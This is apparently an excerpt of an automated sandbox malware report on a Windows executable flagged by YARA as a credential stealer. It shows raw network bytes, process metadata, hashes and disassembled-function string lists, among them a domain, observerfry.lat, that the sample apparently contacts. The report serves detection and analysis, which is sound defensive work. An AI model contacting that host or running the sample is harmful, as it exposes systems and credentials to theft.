2024-12-24 07:35:57 UTC	16384	IN	Data Raw: 41 04 45 04 48 10 01 14 4c 23 e0 c8 10 08 ba 19 d0 d1 c5 f9 4a b0 5a b7 15 b2 3d cd b7 db de 5d bf 89 5b fc 9b 9d 68 db 96 0d b4 67 e3 db b4 67 c3 02 da ba 7e 19 ad 5b bf 81 d6 ae 6b de 7a 17 74 31 c5 38 ca 04 42 bf 73 e7 ce 46 03 00 f0 5d 4e 49 c0 b0 60 5b d4 7f da cd 85 ac 5b d6 27 c7 c3 c4 3c 5e e6 74 a0 7a 7b 98 b5 7c bc 37 b1 b8 82 75 38 ee f6 e9 6a 19 7b 3d 50 62 6e 67 2d 0b f5 86 95 dc fa df b0 91 de 75 da a3 58 c5 fb be 01 46 80 d7 21 3d 04 8a ab 24 f0 82 59 9f 05 5d e0 ad d0 7b 0b 00 7a 01 10 37 88 65 3d 77 58 09 bb 88 bb 15 66 f7 34 7e 8b 75 8a 01 b0 12 79 9d d6 84 5e 30 85 5e 84 5b 04 be 35 a1 37 05 5e be 9b c8 f2 92 4f 80 be 1d d8 46 d9 ee c6 cf 77 f9 f3 5d db 27 10 73 23 06 48 7a 61 a4 ec e5 78 e8 c7 05 e3 38 8e 38 c6 a8 27 a8 7b 12 3b 66 6e Data Ascii: AEHL#JZ=][hgg~[kzt18BsF]NI`[['<^tz{\|7u8j{=Pbng-uXF!=$Y]{z7e=wXf4~uy^0^[57^OFw]'s#Hzax88'{;fn
2024-12-24 07:35:57 UTC	1024	IN	Data Raw: 7c 06 85 ec d9 47 19 9c dc b2 0a 72 1a 0d 00 b0 32 01 6d 31 02 97 6a 00 04 11 04 5d 2c 74 1a 05 df 84 0d 40 45 75 21 95 55 16 52 54 50 05 ad 9d de 40 d3 1e 3a 43 53 99 b5 af 34 50 64 20 8b 5e 55 11 55 d6 5e 6c 00 20 f0 e5 dc 62 ce 88 4f a1 e0 1d 9e b4 f7 8d 55 e4 f2 fa 0a 0a dc e2 aa ee 2d 2e 87 01 a8 fe ee 0d 00 c4 1f 5d fc 19 55 d5 14 7c f2 0c b7 fc 3f 51 e2 7f f0 e4 69 4a ab ac a2 52 2e 8f b2 ef 91 01 90 63 84 f5 e3 a9 67 00 e3 22 f0 fa b1 95 71 39 ee 66 bd 68 34 00 5c 77 f2 58 a0 73 73 b2 29 31 23 9f 0e 25 17 53 44 6a 31 65 e7 e4 52 79 41 16 15 e4 36 d5 41 bc 16 16 ef b1 28 28 2c a2 fc 82 42 ca e5 f5 a0 4e ca 79 7b a9 d3 40 89 b5 32 01 5c c7 f3 b8 3e e7 f2 b8 6f 08 25 4c df 44 99 5d 27 53 f5 cf fb d0 f1 3b 9e a0 da 47 87 50 21 1b 80 74 df 40 4a ce cc Data Ascii: \|Gr2m1j],t@Eu!URTP@:CS4Pd ^UU^l bOU-.]U\|?QiJR.cg"q9fh4\wXss)1#%SDj1eRyA6A((,BNy{@2\>o%LD]'S;GP!t@J
2024-12-24 07:35:57 UTC	16384	IN	Data Raw: f5 b4 fa 8d a5 b4 7a de 52 da b4 64 1d ed dc e6 44 7b 5d f7 aa 65 f0 54 59 08 3e ea 08 62 05 f5 1b 26 e2 bd f7 de a3 d1 a3 47 b7 66 00 76 b2 9a e3 41 40 78 11 d0 33 cc 93 37 74 bf fd 95 1b fb 76 0e bf 71 d0 3d 5f de fc c2 fd 74 f3 90 fb e9 c6 e7 ef fb ec 86 41 f7 06 dc 32 a8 43 7f 5e 46 06 11 ff 2b 32 00 d5 a1 83 07 d5 84 0d f6 ad 3c 3c d0 df 3e e9 bb 19 de 3a d7 d0 7e ee 67 c7 07 bd f6 eb 0f 77 be f6 cd f9 af 97 13 d1 32 66 ce 85 33 a7 66 7d 7c 0a 85 a2 0f 57 dd 00 20 51 a0 15 83 eb 00 70 ee 06 c9 03 15 01 dd 39 a0 c9 08 84 52 78 84 8d b0 f0 96 bb f3 04 d3 10 98 06 40 2a 9d 59 a1 25 58 24 a0 04 3d 78 81 24 80 46 03 c0 e0 71 99 78 2e 76 d8 be 03 e4 f6 da 2a 65 02 36 f5 9b 4e ee 3c 1e e1 13 44 69 6c 0e f0 1e 6d f3 65 43 97 63 00 ac 8c 80 95 09 d0 c5 1f 88 Data Ascii: zRdD{]eTY>b&GfvA@x37tvq=_tA2C^F+2<<>:~gw2f3f}\|W Qp9Rx@Y%X$=x$Fqx.ve6N<DilmeCc

Target ID:	0
Start time:	02:35:26
Start date:	24/12/2024
Path:	C:\Users\user\Desktop\yuij5p5p3W.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\yuij5p5p3W.exe"
Imagebase:	0x820000
File size:	2'934'784 bytes
MD5 hash:	90A5C9ECB3DD06DC17EEE5A4F87CFF94
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2368635519.000000000076A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2370285504.000000000076A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	02:35:59
Start date:	24/12/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7108 -s 2016
Imagebase:	0xb0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	10.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	67.3%
Total number of Nodes:	480
Total number of Limit Nodes:	46

Executed Functions

Function 00832750 Relevance: 268.0, APIs: 3, Strings: 149, Instructions: 2041COMMON

Download Yara Rule

Strings

S, xrefs: 00833FC9
g, xrefs: 00833D02
^, xrefs: 00833604
_, xrefs: 00834633
2, xrefs: 00833403
[, xrefs: 00833C62
E, xrefs: 00832CB1
d, xrefs: 00832EF0
\, xrefs: 0083473E
^, xrefs: 0083435F
L, xrefs: 0083392F
@, xrefs: 0083394F
3, xrefs: 00833FE1
/, xrefs: 00834001
O, xrefs: 00833D5A
#, xrefs: 00834061
m, xrefs: 00833CB2
8, xrefs: 00833937
q, xrefs: 00833D92
1, xrefs: 00833FD1
K, xrefs: 00834019
X, xrefs: 0083398F
], xrefs: 008341F7
D, xrefs: 0083396F
\, xrefs: 00833614
D, xrefs: 0083456B
y, xrefs: 00833D52
j, xrefs: 00832F58
_, xrefs: 00833C42
i, xrefs: 00833744
m, xrefs: 00833F89
_, xrefs: 0083472F
9, xrefs: 00833927
&, xrefs: 008329D4
+, xrefs: 00834021
C, xrefs: 00833C22
\, xrefs: 008341FF
^, xrefs: 00832D94
_, xrefs: 00834469
`, xrefs: 00833588
], xrefs: 0083360C
J, xrefs: 00833CDA
\, xrefs: 0083436F
e, xrefs: 00833CF2
W, xrefs: 00833C82
2, xrefs: 00832B1F
], xrefs: 00834479
L, xrefs: 00832A71
S, xrefs: 00833CA2
d, xrefs: 008334B9
w, xrefs: 00833D82
;, xrefs: 00833FA1
a, xrefs: 0083295D
^, xrefs: 00834734
/, xrefs: 00833C9A
U, xrefs: 00833C72
^, xrefs: 008341EF
F, xrefs: 00832F20
;, xrefs: 00832F00
, xrefs: 00833C6A
^, xrefs: 00834471
Y, xrefs: 0083281E
~, xrefs: 00833433
K, xrefs: 00833BE2
*, xrefs: 00832A6C
_, xrefs: 008335FC
\, xrefs: 008339AF
k, xrefs: 00833CE2
a, xrefs: 00833D12
i, xrefs: 00833CD2
\, xrefs: 00834481
:, xrefs: 00833BDA
B, xrefs: 0083393F
l, xrefs: 00832F48
;, xrefs: 00833967
l, xrefs: 00833987
), xrefs: 00834011
r, xrefs: 00833D9A
&, xrefs: 00833C3A
<, xrefs: 008334C9
], xrefs: 00834367
D, xrefs: 00834136
5, xrefs: 00833FB1
A, xrefs: 00833C12
%, xrefs: 00833C4A
%, xrefs: 00834031
s, xrefs: 00833DA2
7, xrefs: 00833FC1
c, xrefs: 00833D22
F, xrefs: 0083395F
u, xrefs: 00833D72
/, xrefs: 00833C2A
_, xrefs: 008341E7
], xrefs: 00833C32
E, xrefs: 00833BF2
~, xrefs: 00832D99
_, xrefs: 00834357
9, xrefs: 00833F91
', xrefs: 00834041
_, xrefs: 008339A7
^, xrefs: 0083399F
-, xrefs: 00833B7D
{, xrefs: 00833D62
., xrefs: 00833B82
], xrefs: 00834739
\, xrefs: 0083464B
!, xrefs: 00834051
-, xrefs: 00833FF1
1, xrefs: 00833947
%, xrefs: 00833957
0, xrefs: 00833C1A
o, xrefs: 00833CC2
A, xrefs: 00832F30
Q, xrefs: 00833C92
", xrefs: 00834059
?, xrefs: 00833076
., xrefs: 00833C5A
Z, xrefs: 0083397F
N, xrefs: 00833FE9
/, xrefs: 00833B87
o, xrefs: 00833997
=, xrefs: 00833F71
y, xrefs: 008334E9
=, xrefs: 00833C0A
3, xrefs: 00833BEA
], xrefs: 00834643
}, xrefs: 00833D32
9, xrefs: 00833977
f, xrefs: 008327B6
j, xrefs: 00833413
?, xrefs: 00833F81
^, xrefs: 0083463B
=, xrefs: 008334D9
G, xrefs: 00833C02
6, xrefs: 00832BE4
X, xrefs: 00833D4A
V, xrefs: 00833D7A
R, xrefs: 00833D8A
k, xrefs: 00832F60
v, xrefs: 00833C7A
n, xrefs: 00832F38
h, xrefs: 00832F68
<, xrefs: 0083336C
|, xrefs: 00833423
H, xrefs: 00832F10
e, xrefs: 00833C8A
Y, xrefs: 00833C52
<, xrefs: 00832DA3
D, xrefs: 00834578

Memory Dump Source

Source File: 00000000.00000002.2629226042.0000000000821000.00000040.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000000.00000002.2629198330.0000000000820000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629226042.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629308215.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629333595.000000000087F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629359244.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629424467.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629644415.00000000009E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629673470.00000000009E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629822324.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629958022.00000000009F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630104021.00000000009F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630104021.00000000009FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630433548.0000000000A06000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630511045.0000000000A08000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630662603.0000000000A13000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630694673.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630754324.0000000000A18000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630777307.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630841024.0000000000A32000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630876728.0000000000A43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630943941.0000000000A57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630970015.0000000000A58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631032307.0000000000A5E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631056904.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631115106.0000000000A6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631138360.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631194192.0000000000A76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631217309.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631276116.0000000000A84000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631299962.0000000000A86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631356551.0000000000A8F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631429375.0000000000A96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631456495.0000000000A97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631514530.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631514530.0000000000ADA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631624356.0000000000AF0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631659232.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631690405.0000000000B02000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631744995.0000000000B03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631787399.0000000000B04000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631787399.0000000000B0A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631864540.0000000000B18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631893430.0000000000B19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_820000_yuij5p5p3W.jbxd

Similarity

API ID:
String ID: $!$"$#$%$%$%$&$&$'$)$*$+$-$-$.$.$/$/$/$/$0$1$1$2$2$3$3$5$6$7$8$9$9$9$:$;$;$;$<$<$<$=$=$=$?$?$@$A$A$B$C$D$D$D$D$E$E$F$F$G$H$J$K$K$L$L$N$O$Q$R$S$S$U$V$W$X$X$Y$Y$Z$[$\$\$\$\$\$\$\$]$]$]$]$]$]$]$^$^$^$^$^$^$^$^$_$_$_$_$_$_$_$_$`$a$a$c$d$d$e$e$f$g$h$i$i$j$j$k$k$l$l$m$m$n$o$o$q$r$s$u$v$w$y$y${$|$}$~$~
API String ID: 0-1985396431
Opcode ID: a2f3e7ba738bcc19b64ea8b7bf473759e6dfa4c52b0c0ed5a4628b9c36f24add
Instruction ID: 7f3a1bdebb551189eb96f43b4a2ef2a03ffdc2c85eca1047314b00129f937ffd
Opcode Fuzzy Hash: a2f3e7ba738bcc19b64ea8b7bf473759e6dfa4c52b0c0ed5a4628b9c36f24add
Instruction Fuzzy Hash: 4F139B3150C7D08ED3259B38C4443AFBFE1ABD6314F198A6DE4E987382D6B98945CB93

Function 00842E6D Relevance: 48.8, APIs: 3, Strings: 24, Instructions: 1505COMMON

Download Yara Rule

Strings

_^]\, xrefs: 00842EA5
V], xrefs: 008431FA
Q*RG, xrefs: 00842F5F
JOSP, xrefs: 00842F6F
I, xrefs: 00843048
Fm, xrefs: 008431F2
s, xrefs: 00842FCA
rp, xrefs: 00843FF3
~SS}, xrefs: 00842F37
observerfry.lat, xrefs: 008433BD
eN, xrefs: 008441BA
wdnf, xrefs: 00842F07
=]=_, xrefs: 00843D0E
g}zh, xrefs: 00842F27
].n^, xrefs: 00842F57
R03!, xrefs: 00842F77
#E#G, xrefs: 00843D1C
9#', xrefs: 00843040
8]pY, xrefs: 00842EFF
_^]\, xrefs: 00843695
- $f, xrefs: 00843038
+A#C, xrefs: 00843D15
%", xrefs: 0084334A
CNF8, xrefs: 00842F3F

Memory Dump Source

Source File: 00000000.00000002.2629226042.0000000000821000.00000040.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000000.00000002.2629198330.0000000000820000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629226042.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629308215.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629333595.000000000087F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629359244.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629424467.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629644415.00000000009E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629673470.00000000009E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629822324.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629958022.00000000009F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630104021.00000000009F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630104021.00000000009FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630433548.0000000000A06000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630511045.0000000000A08000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630662603.0000000000A13000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630694673.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630754324.0000000000A18000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630777307.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630841024.0000000000A32000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630876728.0000000000A43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630943941.0000000000A57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630970015.0000000000A58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631032307.0000000000A5E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631056904.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631115106.0000000000A6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631138360.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631194192.0000000000A76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631217309.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631276116.0000000000A84000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631299962.0000000000A86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631356551.0000000000A8F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631429375.0000000000A96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631456495.0000000000A97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631514530.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631514530.0000000000ADA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631624356.0000000000AF0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631659232.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631690405.0000000000B02000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631744995.0000000000B03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631787399.0000000000B04000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631787399.0000000000B0A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631864540.0000000000B18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631893430.0000000000B19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_820000_yuij5p5p3W.jbxd

Similarity

API ID:
String ID: #E#G$%"$+A#C$- $f$8]pY$9#'$=]=_$CNF8$Fm$I$JOSP$Q*RG$R03!$V]$].n^$_^]\$_^]\$eN$g}zh$observerfry.lat$s$wdnf$~SS}$rp
API String ID: 0-3004701125
Opcode ID: f9cc1dc935583e57e51dfe2bb03423fc6e84151d116ae3d593dc353300caac5d
Instruction ID: fb64602ba53824f2eb86dce9997a284ea5b807fbb79fc1f0bd53d48b1174f647
Opcode Fuzzy Hash: f9cc1dc935583e57e51dfe2bb03423fc6e84151d116ae3d593dc353300caac5d
Instruction Fuzzy Hash: 90B232B1A08341CFD718CF28D8917ABBBA2FF85314F19866CE4959B391E778D901CB91

Function 008358D5 Relevance: 29.6, APIs: 1, Strings: 15, Instructions: 1631COMMON

Download Yara Rule

Strings

{zdy, xrefs: 0083611D
3F&D, xrefs: 00836273
~mfQ, xrefs: 0083613E
w}MI, xrefs: 00836128
_^]\, xrefs: 00835B14
S\], xrefs: 008359EE
WQ, xrefs: 008359E3
*,-", xrefs: 008366EF
qRb`, xrefs: 00836133
L4, xrefs: 00836780
t~v:, xrefs: 008361E7
pt}w, xrefs: 008361F2
ntxE, xrefs: 00836112
uqrs, xrefs: 00836AF0
L4, xrefs: 00836BA0

Memory Dump Source

Source File: 00000000.00000002.2629226042.0000000000821000.00000040.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000000.00000002.2629198330.0000000000820000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629226042.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629308215.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629333595.000000000087F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629359244.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629424467.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629644415.00000000009E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629673470.00000000009E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629822324.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629958022.00000000009F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630104021.00000000009F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630104021.00000000009FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630433548.0000000000A06000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630511045.0000000000A08000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630662603.0000000000A13000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630694673.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630754324.0000000000A18000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630777307.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630841024.0000000000A32000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630876728.0000000000A43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630943941.0000000000A57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630970015.0000000000A58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631032307.0000000000A5E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631056904.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631115106.0000000000A6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631138360.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631194192.0000000000A76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631217309.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631276116.0000000000A84000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631299962.0000000000A86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631356551.0000000000A8F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631429375.0000000000A96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631456495.0000000000A97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631514530.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631514530.0000000000ADA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631624356.0000000000AF0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631659232.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631690405.0000000000B02000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631744995.0000000000B03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631787399.0000000000B04000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631787399.0000000000B0A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631864540.0000000000B18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631893430.0000000000B19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_820000_yuij5p5p3W.jbxd

Similarity

API ID:
String ID: *,-"$3F&D$_^]\$ntxE$pt}w$qRb`$t~v:$uqrs$w}MI${zdy$~mfQ$S\]$WQ$L4$L4
API String ID: 0-510280711
Opcode ID: 8fa56db56c12420b8b762e3d22672f6f466dd9e7b2f62ace1ff3c43ffa1a010c
Instruction ID: dc91110c236bfc8205c7cce4aa76f74abcbc16a81d4ebe5fad3079047dc53fab
Opcode Fuzzy Hash: 8fa56db56c12420b8b762e3d22672f6f466dd9e7b2f62ace1ff3c43ffa1a010c
Instruction Fuzzy Hash: C3B204B16083509FD7248F28D89276BB7E2FFD5314F19892CE4D9CB252EB749815CB82

Function 00841D00 Relevance: 26.8, Strings: 21, Instructions: 506
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

!@, xrefs: 00841D36
Z, xrefs: 008420DB
_, xrefs: 008423B3
^, xrefs: 00841DA9
s, xrefs: 00842284
_, xrefs: 00841DA4
\, xrefs: 00841DB3
^, xrefs: 008423B8
d, xrefs: 008420D6
], xrefs: 008423BD
], xrefs: 0084214B
,, xrefs: 008421D9
9, xrefs: 00841F0C
], xrefs: 00841DAE
^, xrefs: 00842146
\, xrefs: 00842150
_, xrefs: 00842141
8, xrefs: 00841F07
?, xrefs: 00841F02
\, xrefs: 008423C2
g, xrefs: 008420CC

Memory Dump Source

Source File: 00000000.00000002.2629226042.0000000000821000.00000040.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000000.00000002.2629198330.0000000000820000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629226042.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629308215.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629333595.000000000087F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629359244.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629424467.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629644415.00000000009E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629673470.00000000009E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629822324.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629958022.00000000009F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630104021.00000000009F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630104021.00000000009FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630433548.0000000000A06000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630511045.0000000000A08000.00000040.00000001.01000000.00000003.sdmpDownload File
